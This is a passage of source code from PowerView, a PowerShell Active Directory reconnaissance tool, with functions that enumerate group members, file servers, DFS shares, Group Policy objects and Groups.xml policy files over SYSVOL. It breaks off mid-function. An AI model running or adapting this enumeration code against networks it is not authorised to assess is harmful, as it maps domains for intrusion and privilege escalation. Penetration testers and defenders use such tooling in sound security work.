5783 $MemberDN = $Null
5784 $MemberDomain = $Null
5785 }
5786
5787 if ($Properties.samaccountname) {
5788 # forest users have the samAccountName set
5789 $MemberName = $Properties.samaccountname[0]
5790 }
5791 else {
5792 # external trust users have a SID, so convert it
5793 try {
5794 $MemberName = ConvertFrom-SID -ObjectSID $Properties.cn[0] @ADNameArguments
5795 }
5796 catch {
5797 # if there's a problem contacting the domain to resolve the SID
5798 $MemberName = $Properties.cn[0]
5799 }
5800 }
5801
5802 if ($Properties.objectclass -match 'computer') {
5803 $MemberObjectClass = 'computer'
5804 }
5805 elseif ($Properties.objectclass -match 'group') {
5806 $MemberObjectClass = 'group'
5807 }
5808 elseif ($Properties.objectclass -match 'user') {
5809 $MemberObjectClass = 'user'
5810 }
5811 else {
5812 $MemberObjectClass = $Null
5813 }
5814 $GroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
5815 $GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
5816 $GroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDN
5817 $GroupMember | Add-Member Noteproperty 'MemberObjectClass' $MemberObjectClass
5818 $GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
5819 $GroupMember.PSObject.TypeNames.Insert(0, 'PowerView.GroupMember')
5820 $GroupMember
5821
5822 # if we're doing manual recursion
5823 if ($PSBoundParameters['Recurse'] -and $MemberDN -and ($MemberObjectClass -match 'group')) {
5824 Write-Verbose "[Get-DomainGroupMember] Manually recursing on group: $MemberDN"
5825 $SearcherArguments['Identity'] = $MemberDN
5826 $Null = $SearcherArguments.Remove('Properties')
5827 Get-DomainGroupMember @SearcherArguments
5828 }
5829 }
5830 }
5831 $GroupSearcher.dispose()
5832 }
5833 }
5834}
5835
5836function Get-DomainFileServer {
5837
5838
5839 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
5840 [OutputType([String])]
5841 [CmdletBinding()]
5842 Param(
5843 [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
5844 [ValidateNotNullOrEmpty()]
5845 [Alias('DomainName', 'Name')]
5846 [String[]]
5847 $Domain,
5848
5849 [ValidateNotNullOrEmpty()]
5850 [Alias('Filter')]
5851 [String]
5852 $LDAPFilter,
5853
5854 [ValidateNotNullOrEmpty()]
5855 [Alias('ADSPath')]
5856 [String]
5857 $SearchBase,
5858
5859 [ValidateNotNullOrEmpty()]
5860 [Alias('DomainController')]
5861 [String]
5862 $Server,
5863
5864 [ValidateSet('Base', 'OneLevel', 'Subtree')]
5865 [String]
5866 $SearchScope = 'Subtree',
5867
5868 [ValidateRange(1, 10000)]
5869 [Int]
5870 $ResultPageSize = 200,
5871
5872 [ValidateRange(1, 10000)]
5873 [Int]
5874 $ServerTimeLimit,
5875
5876 [Switch]
5877 $Tombstone,
5878
5879 [Management.Automation.PSCredential]
5880 [Management.Automation.CredentialAttribute()]
5881 $Credential = [Management.Automation.PSCredential]::Empty
5882 )
5883
5884 BEGIN {
5885 function Split-Path {
5886 # short internal helper to split UNC server paths
5887 Param([String]$Path)
5888
5889 if ($Path -and ($Path.split('\\').Count -ge 3)) {
5890 $Temp = $Path.split('\\')[2]
5891 if ($Temp -and ($Temp -ne '')) {
5892 $Temp
5893 }
5894 }
5895 }
5896
5897 $SearcherArguments = @{
5898 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))'
5899 'Properties' = 'homedirectory,scriptpath,profilepath'
5900 }
5901 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
5902 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
5903 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
5904 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
5905 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
5906 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
5907 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
5908 }
5909
5910 PROCESS {
5911 if ($PSBoundParameters['Domain']) {
5912 ForEach ($TargetDomain in $Domain) {
5913 $SearcherArguments['Domain'] = $TargetDomain
5914 $UserSearcher = Get-DomainSearcher @SearcherArguments
5915 # get all results w/o the pipeline and uniquify them (I know it's not pretty)
5916 $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
5917 }
5918 }
5919 else {
5920 $UserSearcher = Get-DomainSearcher @SearcherArguments
5921 $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
5922 }
5923 }
5924}
5925
5926function Get-DomainDFSShare {
5927
5928
5929 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
5930 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
5931 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
5932 [OutputType('System.Management.Automation.PSCustomObject')]
5933 [CmdletBinding()]
5934 Param(
5935 [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
5936 [ValidateNotNullOrEmpty()]
5937 [Alias('DomainName', 'Name')]
5938 [String[]]
5939 $Domain,
5940
5941 [ValidateNotNullOrEmpty()]
5942 [Alias('ADSPath')]
5943 [String]
5944 $SearchBase,
5945
5946 [ValidateNotNullOrEmpty()]
5947 [Alias('DomainController')]
5948 [String]
5949 $Server,
5950
5951 [ValidateSet('Base', 'OneLevel', 'Subtree')]
5952 [String]
5953 $SearchScope = 'Subtree',
5954
5955 [ValidateRange(1, 10000)]
5956 [Int]
5957 $ResultPageSize = 200,
5958
5959 [ValidateRange(1, 10000)]
5960 [Int]
5961 $ServerTimeLimit,
5962
5963 [Switch]
5964 $Tombstone,
5965
5966 [Management.Automation.PSCredential]
5967 [Management.Automation.CredentialAttribute()]
5968 $Credential = [Management.Automation.PSCredential]::Empty,
5969
5970 [ValidateSet('All', 'V1', '1', 'V2', '2')]
5971 [String]
5972 $Version = 'All'
5973 )
5974
5975 BEGIN {
5976 $SearcherArguments = @{}
5977 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
5978 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
5979 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
5980 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
5981 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
5982 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
5983 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
5984
5985 function Parse-Pkt {
5986 [CmdletBinding()]
5987 Param(
5988 [Byte[]]
5989 $Pkt
5990 )
5991
5992 $bin = $Pkt
5993 $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
5994 $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
5995 $offset = 8
5996 #https://msdn.microsoft.com/en-us/library/cc227147.aspx
5997 $object_list = @()
5998 for($i=1; $i -le $blob_element_count; $i++){
5999 $blob_name_size_start = $offset
6000 $blob_name_size_end = $offset + 1
6001 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
6002
6003 $blob_name_start = $blob_name_size_end + 1
6004 $blob_name_end = $blob_name_start + $blob_name_size - 1
6005 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
6006
6007 $blob_data_size_start = $blob_name_end + 1
6008 $blob_data_size_end = $blob_data_size_start + 3
6009 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
6010
6011 $blob_data_start = $blob_data_size_end + 1
6012 $blob_data_end = $blob_data_start + $blob_data_size - 1
6013 $blob_data = $bin[$blob_data_start..$blob_data_end]
6014 switch -wildcard ($blob_name) {
6015 "\siteroot" { }
6016 "\domainroot*" {
6017 # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
6018 # DFSRootOrLinkIDBlob
6019 $root_or_link_guid_start = 0
6020 $root_or_link_guid_end = 15
6021 $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
6022 $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
6023 $prefix_size_start = $root_or_link_guid_end + 1
6024 $prefix_size_end = $prefix_size_start + 1
6025 $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
6026 $prefix_start = $prefix_size_end + 1
6027 $prefix_end = $prefix_start + $prefix_size - 1
6028 $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
6029
6030 $short_prefix_size_start = $prefix_end + 1
6031 $short_prefix_size_end = $short_prefix_size_start + 1
6032 $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
6033 $short_prefix_start = $short_prefix_size_end + 1
6034 $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
6035 $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
6036
6037 $type_start = $short_prefix_end + 1
6038 $type_end = $type_start + 3
6039 $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
6040
6041 $state_start = $type_end + 1
6042 $state_end = $state_start + 3
6043 $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
6044
6045 $comment_size_start = $state_end + 1
6046 $comment_size_end = $comment_size_start + 1
6047 $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
6048 $comment_start = $comment_size_end + 1
6049 $comment_end = $comment_start + $comment_size - 1
6050 if ($comment_size -gt 0) {
6051 $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
6052 }
6053 $prefix_timestamp_start = $comment_end + 1
6054 $prefix_timestamp_end = $prefix_timestamp_start + 7
6055 # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
6056 $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
6057 $state_timestamp_start = $prefix_timestamp_end + 1
6058 $state_timestamp_end = $state_timestamp_start + 7
6059 $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
6060 $comment_timestamp_start = $state_timestamp_end + 1
6061 $comment_timestamp_end = $comment_timestamp_start + 7
6062 $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
6063 $version_start = $comment_timestamp_end + 1
6064 $version_end = $version_start + 3
6065 $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
6066
6067 # Parse rest of DFSNamespaceRootOrLinkBlob here
6068 $dfs_targetlist_blob_size_start = $version_end + 1
6069 $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
6070 $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
6071
6072 $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
6073 $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
6074 $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
6075 $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
6076 $reserved_blob_size_end = $reserved_blob_size_start + 3
6077 $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
6078
6079 $reserved_blob_start = $reserved_blob_size_end + 1
6080 $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
6081 $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
6082 $referral_ttl_start = $reserved_blob_end + 1
6083 $referral_ttl_end = $referral_ttl_start + 3
6084 $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
6085
6086 #Parse DFSTargetListBlob
6087 $target_count_start = 0
6088 $target_count_end = $target_count_start + 3
6089 $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
6090 $t_offset = $target_count_end + 1
6091
6092 for($j=1; $j -le $target_count; $j++){
6093 $target_entry_size_start = $t_offset
6094 $target_entry_size_end = $target_entry_size_start + 3
6095 $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
6096 $target_time_stamp_start = $target_entry_size_end + 1
6097 $target_time_stamp_end = $target_time_stamp_start + 7
6098 # FILETIME again or special if priority rank and priority class 0
6099 $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
6100 $target_state_start = $target_time_stamp_end + 1
6101 $target_state_end = $target_state_start + 3
6102 $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
6103
6104 $target_type_start = $target_state_end + 1
6105 $target_type_end = $target_type_start + 3
6106 $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
6107
6108 $server_name_size_start = $target_type_end + 1
6109 $server_name_size_end = $server_name_size_start + 1
6110 $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
6111
6112 $server_name_start = $server_name_size_end + 1
6113 $server_name_end = $server_name_start + $server_name_size - 1
6114 $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
6115
6116 $share_name_size_start = $server_name_end + 1
6117 $share_name_size_end = $share_name_size_start + 1
6118 $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
6119 $share_name_start = $share_name_size_end + 1
6120 $share_name_end = $share_name_start + $share_name_size - 1
6121 $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
6122
6123 $target_list += "\\$server_name\$share_name"
6124 $t_offset = $share_name_end + 1
6125 }
6126 }
6127 }
6128 $offset = $blob_data_end + 1
6129 $dfs_pkt_properties = @{
6130 'Name' = $blob_name
6131 'Prefix' = $prefix
6132 'TargetList' = $target_list
6133 }
6134 $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
6135 $prefix = $Null
6136 $blob_name = $Null
6137 $target_list = $Null
6138 }
6139
6140 $servers = @()
6141 $object_list | ForEach-Object {
6142 if ($_.TargetList) {
6143 $_.TargetList | ForEach-Object {
6144 $servers += $_.split('\')[2]
6145 }
6146 }
6147 }
6148
6149 $servers
6150 }
6151
6152 function Get-DomainDFSShareV1 {
6153 [CmdletBinding()]
6154 Param(
6155 [String]
6156 $Domain,
6157
6158 [String]
6159 $SearchBase,
6160
6161 [String]
6162 $Server,
6163
6164 [String]
6165 $SearchScope = 'Subtree',
6166
6167 [Int]
6168 $ResultPageSize = 200,
6169
6170 [Int]
6171 $ServerTimeLimit,
6172
6173 [Switch]
6174 $Tombstone,
6175
6176 [Management.Automation.PSCredential]
6177 [Management.Automation.CredentialAttribute()]
6178 $Credential = [Management.Automation.PSCredential]::Empty
6179 )
6180
6181 $DFSsearcher = Get-DomainSearcher @PSBoundParameters
6182
6183 if ($DFSsearcher) {
6184 $DFSshares = @()
6185 $DFSsearcher.filter = '(&(objectClass=fTDfs))'
6186
6187 try {
6188 $Results = $DFSSearcher.FindAll()
6189 $Results | Where-Object {$_} | ForEach-Object {
6190 $Properties = $_.Properties
6191 $RemoteNames = $Properties.remoteservername
6192 $Pkt = $Properties.pkt
6193
6194 $DFSshares += $RemoteNames | ForEach-Object {
6195 try {
6196 if ( $_.Contains('\') ) {
6197 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]}
6198 }
6199 }
6200 catch {
6201 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_"
6202 }
6203 }
6204 }
6205 if ($Results) {
6206 try { $Results.dispose() }
6207 catch {
6208 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_"
6209 }
6210 }
6211 $DFSSearcher.dispose()
6212
6213 if ($pkt -and $pkt[0]) {
6214 Parse-Pkt $pkt[0] | ForEach-Object {
6215 # If a folder doesn't have a redirection it will have a target like
6216 # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match
6217 # on 'null' rather than $Null
6218 if ($_ -ne 'null') {
6219 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
6220 }
6221 }
6222 }
6223 }
6224 catch {
6225 Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_"
6226 }
6227 $DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
6228 }
6229 }
6230
6231 function Get-DomainDFSShareV2 {
6232 [CmdletBinding()]
6233 Param(
6234 [String]
6235 $Domain,
6236
6237 [String]
6238 $SearchBase,
6239
6240 [String]
6241 $Server,
6242
6243 [String]
6244 $SearchScope = 'Subtree',
6245
6246 [Int]
6247 $ResultPageSize = 200,
6248
6249 [Int]
6250 $ServerTimeLimit,
6251
6252 [Switch]
6253 $Tombstone,
6254
6255 [Management.Automation.PSCredential]
6256 [Management.Automation.CredentialAttribute()]
6257 $Credential = [Management.Automation.PSCredential]::Empty
6258 )
6259
6260 $DFSsearcher = Get-DomainSearcher @PSBoundParameters
6261
6262 if ($DFSsearcher) {
6263 $DFSshares = @()
6264 $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))'
6265 $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
6266
6267 try {
6268 $Results = $DFSSearcher.FindAll()
6269 $Results | Where-Object {$_} | ForEach-Object {
6270 $Properties = $_.Properties
6271 $target_list = $Properties.'msdfs-targetlistv2'[0]
6272 $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
6273 $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
6274 try {
6275 $Target = $_.InnerText
6276 if ( $Target.Contains('\') ) {
6277 $DFSroot = $Target.split('\')[3]
6278 $ShareName = $Properties.'msdfs-linkpathv2'[0]
6279 New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]}
6280 }
6281 }
6282 catch {
6283 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_"
6284 }
6285 }
6286 }
6287 if ($Results) {
6288 try { $Results.dispose() }
6289 catch {
6290 Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
6291 }
6292 }
6293 $DFSSearcher.dispose()
6294 }
6295 catch {
6296 Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_"
6297 }
6298 $DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
6299 }
6300 }
6301 }
6302
6303 PROCESS {
6304 $DFSshares = @()
6305
6306 if ($PSBoundParameters['Domain']) {
6307 ForEach ($TargetDomain in $Domain) {
6308 $SearcherArguments['Domain'] = $TargetDomain
6309 if ($Version -match 'all|1') {
6310 $DFSshares += Get-DomainDFSShareV1 @SearcherArguments
6311 }
6312 if ($Version -match 'all|2') {
6313 $DFSshares += Get-DomainDFSShareV2 @SearcherArguments
6314 }
6315 }
6316 }
6317 else {
6318 if ($Version -match 'all|1') {
6319 $DFSshares += Get-DomainDFSShareV1 @SearcherArguments
6320 }
6321 if ($Version -match 'all|2') {
6322 $DFSshares += Get-DomainDFSShareV2 @SearcherArguments
6323 }
6324 }
6325
6326 $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique
6327 }
6328}
6329
6330function Get-GptTmpl {
6331
6332
6333 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
6334 [OutputType([Hashtable])]
6335 [CmdletBinding()]
6336 Param (
6337 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
6338 [Alias('gpcfilesyspath', 'Path')]
6339 [String]
6340 $GptTmplPath,
6341
6342 [Switch]
6343 $OutputObject,
6344
6345 [Management.Automation.PSCredential]
6346 [Management.Automation.CredentialAttribute()]
6347 $Credential = [Management.Automation.PSCredential]::Empty
6348 )
6349
6350 BEGIN {
6351 $MappedPaths = @{}
6352 }
6353
6354 PROCESS {
6355 try {
6356 if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
6357 $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
6358 if (-not $MappedPaths[$SysVolPath]) {
6359 # map IPC$ to this computer if it's not already
6360 Add-RemoteConnection -Path $SysVolPath -Credential $Credential
6361 $MappedPaths[$SysVolPath] = $True
6362 }
6363 }
6364
6365 $TargetGptTmplPath = $GptTmplPath
6366 if (-not $TargetGptTmplPath.EndsWith('.inf')) {
6367 $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
6368 }
6369
6370 Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
6371
6372 if ($PSBoundParameters['OutputObject']) {
6373 $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
6374 if ($Contents) {
6375 $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
6376 $Contents
6377 }
6378 }
6379 else {
6380 $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
6381 if ($Contents) {
6382 $Contents['Path'] = $TargetGptTmplPath
6383 $Contents
6384 }
6385 }
6386 }
6387 catch {
6388 Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
6389 }
6390 }
6391
6392 END {
6393 # remove the SYSVOL mappings
6394 $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
6395 }
6396}
6397
6398function Get-GroupsXML {
6399
6400
6401 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
6402 [OutputType('PowerView.GroupsXML')]
6403 [CmdletBinding()]
6404 Param (
6405 [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
6406 [Alias('Path')]
6407 [String]
6408 $GroupsXMLPath,
6409
6410 [Management.Automation.PSCredential]
6411 [Management.Automation.CredentialAttribute()]
6412 $Credential = [Management.Automation.PSCredential]::Empty
6413 )
6414
6415 BEGIN {
6416 $MappedPaths = @{}
6417 }
6418
6419 PROCESS {
6420 try {
6421 if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
6422 $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
6423 if (-not $MappedPaths[$SysVolPath]) {
6424 # map IPC$ to this computer if it's not already
6425 Add-RemoteConnection -Path $SysVolPath -Credential $Credential
6426 $MappedPaths[$SysVolPath] = $True
6427 }
6428 }
6429
6430 [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
6431
6432 # process all group properties in the XML
6433 $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
6434
6435 $Groupname = $_.Properties.groupName
6436
6437 # extract the localgroup sid for memberof
6438 $GroupSID = $_.Properties.groupSid
6439 if (-not $GroupSID) {
6440 if ($Groupname -match 'Administrators') {
6441 $GroupSID = 'S-1-5-32-544'
6442 }
6443 elseif ($Groupname -match 'Remote Desktop') {
6444 $GroupSID = 'S-1-5-32-555'
6445 }
6446 elseif ($Groupname -match 'Guests') {
6447 $GroupSID = 'S-1-5-32-546'
6448 }
6449 else {
6450 if ($PSBoundParameters['Credential']) {
6451 $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
6452 }
6453 else {
6454 $GroupSID = ConvertTo-SID -ObjectName $Groupname
6455 }
6456 }
6457 }
6458
6459 # extract out members added to this group
6460 $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
6461 if ($_.sid) { $_.sid }
6462 else { $_.name }
6463 }
6464
6465 if ($Members) {
6466 # extract out any/all filters...I hate you GPP
6467 if ($_.filters) {
6468 $Filters = $_.filters.GetEnumerator() | ForEach-Object {
6469 New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
6470 }
6471 }
6472 else {
6473 $Filters = $Null
6474 }
6475
6476 if ($Members -isnot [System.Array]) { $Members = @($Members) }
6477
6478 $GroupsXML = New-Object PSObject
6479 $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
6480 $GroupsXML | Add-Member Noteproperty 'Filters' $Filters
6481 $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
6482 $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
6483 $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
6484 $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
6485 $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
6486 $GroupsXML
6487 }
6488 }
6489 }
6490 catch {
6491 Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
6492 }
6493 }
6494
6495 END {
6496 # remove the SYSVOL mappings
6497 $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
6498 }
6499}
6500
6501function Get-DomainGPO {
6502
6503
6504 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
6505 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
6506 [OutputType('PowerView.GPO')]
6507 [OutputType('PowerView.GPO.Raw')]
6508 [CmdletBinding(DefaultParameterSetName = 'None')]
6509 Param(
6510 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
6511 [Alias('DistinguishedName', 'SamAccountName', 'Name')]
6512 [String[]]
6513 $Identity,
6514
6515 [Parameter(ParameterSetName = 'ComputerIdentity')]
6516 [Alias('ComputerName')]
6517 [ValidateNotNullOrEmpty()]
6518 [String]
6519 $ComputerIdentity,
6520
6521 [Parameter(ParameterSetName = 'UserIdentity')]
6522 [Alias('UserName')]
6523 [ValidateNotNullOrEmpty()]
6524 [String]
6525 $UserIdentity,
6526
6527 [ValidateNotNullOrEmpty()]
6528 [String]
6529 $Domain,
6530
6531 [ValidateNotNullOrEmpty()]
6532 [Alias('Filter')]
6533 [String]
6534 $LDAPFilter,
6535
6536 [ValidateNotNullOrEmpty()]
6537 [String[]]
6538 $Properties,
6539
6540 [ValidateNotNullOrEmpty()]
6541 [Alias('ADSPath')]
6542 [String]
6543 $SearchBase,
6544
6545 [ValidateNotNullOrEmpty()]
6546 [Alias('DomainController')]
6547 [String]
6548 $Server,
6549
6550 [ValidateSet('Base', 'OneLevel', 'Subtree')]
6551 [String]
6552 $SearchScope = 'Subtree',
6553
6554 [ValidateRange(1, 10000)]
6555 [Int]
6556 $ResultPageSize = 200,
6557
6558 [ValidateRange(1, 10000)]
6559 [Int]
6560 $ServerTimeLimit,
6561
6562 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
6563 [String]
6564 $SecurityMasks,
6565
6566 [Switch]
6567 $Tombstone,
6568
6569 [Alias('ReturnOne')]
6570 [Switch]
6571 $FindOne,
6572
6573 [Management.Automation.PSCredential]
6574 [Management.Automation.CredentialAttribute()]
6575 $Credential = [Management.Automation.PSCredential]::Empty,
6576
6577 [Switch]
6578 $Raw
6579 )
6580
6581 BEGIN {
6582 $SearcherArguments = @{}
6583 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
6584 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
6585 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
6586 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
6587 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
6588 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
6589 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
6590 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
6591 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
6592 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
6593 $GPOSearcher = Get-DomainSearcher @SearcherArguments
6594 }
6595
6596 PROCESS {
6597 if ($GPOSearcher) {
